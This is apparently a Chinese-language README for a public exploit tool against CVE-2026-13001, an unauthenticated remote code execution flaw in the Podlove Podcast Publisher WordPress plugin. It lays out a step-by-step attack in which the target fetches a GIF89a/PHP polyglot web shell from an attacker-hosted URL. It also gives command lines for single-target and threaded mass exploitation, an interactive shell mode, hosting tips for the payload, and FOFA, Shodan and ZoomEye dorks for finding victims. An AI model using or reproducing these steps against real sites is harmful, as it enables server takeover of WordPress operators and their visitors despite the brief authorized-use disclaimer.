
CVE-2026-13001的利用工具:通过扩展名混淆在Podlove Podcast Publisher中实现未认证的远程代码执行。包含批量扫描、交互式Shell以及GIF89a PHP多语言载荷。
CVSS 9.8(严重) | 未认证任意文件上传导致远程代码执行
Podlove Podcast Publisher WordPress 插件(版本 4.5.1 及以下)存在严重漏洞,允许未认证攻击者通过图片缓存功能上传任意 PHP 文件至服务器,从而导致远程代码执行(RCE)。
该漏洞利用了两个内部函数在解析文件扩展名时的不一致性:
| 函数 | 方法 | 输入:payload.php?.gif | 结果 |
|---|---|---|---|
is_image() | basename() 后 pathinfo() | payload.php?.gif | .gif(通过验证) |
extract_file_extension() | parse_url() 后 pathinfo() | /payload.php | .php(保存到磁盘) |
漏洞成因是 Podlove 插件中的两个函数解析同一URL时提取了不同的文件扩展名:
is_image() — 验证(位于 lib/helper.php)// 调用方式:is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") 返回 "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) 返回 "gif" <- 绕过!
该函数检查:
exif_imagetype() 检查——需要有效的图片头部(GIF89a)wp_check_filetype_and_ext() 进行的 WordPress 文件类型检查由于 basename() 包含了查询字符串,扩展名显示为 gif——不在黑名单中。
extract_file_extension() — 文件命名(位于 lib/model/image.php)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (查询字符串被移除!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) 返回 "php"
文件以 .php 扩展名保存到磁盘。
1. 攻击者在 attacker.com/payload.php 上托管 GIF89a PHP 多语言文件
(文件以 GIF89a 头部开头但包含 PHP 代码)
2. 利用操作:在 URL 后追加 ?.gif:payload.php?.gif
然后对完整的URL进行十六进制编码
3. 触发缓存下载:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. 插件处理:
a. 从攻击者URL下载文件
b. is_image() 检查内容:检测到 GIF89a 头部 - 通过
c. is_image() 检查扩展名:basename 看到 "gif" - 通过
d. extract_file_extension() 使用 parse_url 路径:得到 "php"
e. 文件保存为:test_original.php
5. 文件位置:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. 攻击者访问文件并传入参数 -> 实现 RCE
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url 单个目标 URL
-f, --file 包含目标 URL 的文件(每行一个)
-s, --shell 托管 GIF89a PHP 多语言文件的 URL
--filename 缓存文件的自定义文件名(默认:shell)
--shell-url 交互模式的直接 URL
-o, --output 输出易受攻击目标文件(批量模式)
-t, --threads 线程数(默认:10)
-v, --verbose 详细输出
--debug 调试输出(显示所有 HTTP 请求)
--no-payload-test 跳过载荷可访问性测试
shell_polyglot.gif.php 是一个多语言文件,同时可作为 GIF 图片和 PHP 有效:
GIF89a <- 有效的 GIF 头部(通过 exif_imagetype 检查)
/* <- 注释开始(GIF 二进制数据在 PHP 中被注释掉)
<?php <- PHP 代码从这里开始
// ... 代码 ...
?>
重要:多语言文件必须以静态文件形式托管(例如 Cloudflare R2、AWS S3、不带 PHP 的 nginx)。如果托管服务器处理 PHP,代码将在托管服务器上运行,而不是作为原始内容传递给目标。
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
成功利用会导致以 Web 服务器用户身份远程代码执行:
wp-content/cache/podlove/ 目录中的内容podlove_image_cache_url 请求本漏洞是对 CVE-2025-10147(Podlove <= 4.2.6)修复的绕过。
| 方面 | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| 根本原因 | 完全没有文件类型验证 | 通过扩展名混淆绕过验证 |
| 利用技术 | 直接上传 PHP 文件 | GIF89a 多语言文件 + URL 查询技巧 |
详见 analysis/CVE_COMPARISON.md 完整对比。
仅供教育和授权测试使用。
此工具仅供安全研究人员和渗透测试人员在获得明确书面授权的情况下测试目标系统。未经授权访问计算机系统是非法的。作者对滥用此工具不承担任何责任。
ghostpel-sec — 安全研究与漏洞利用开发
本项目基于 ghostpel-sec Security Research License 许可。
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-13001 |
| CVSS | 9.8(严重) |
| CWE | CWE-20(输入验证不当) |
| 插件 | Podlove Podcast Publisher |
| 受影响版本 | 4.5.1 及以下 |
| 已修复版本 | 4.5.2 |
| 类型 | 未认证任意文件上传导致RCE |
| 发现者 | Talal Nasraddeen(通过 Wordfence) |
| 公开日期 | 2026年7月14日 |
| 已应用的修复 |
添加了带有黑名单的 is_image() |
| 修复了扩展名解析的一致性 |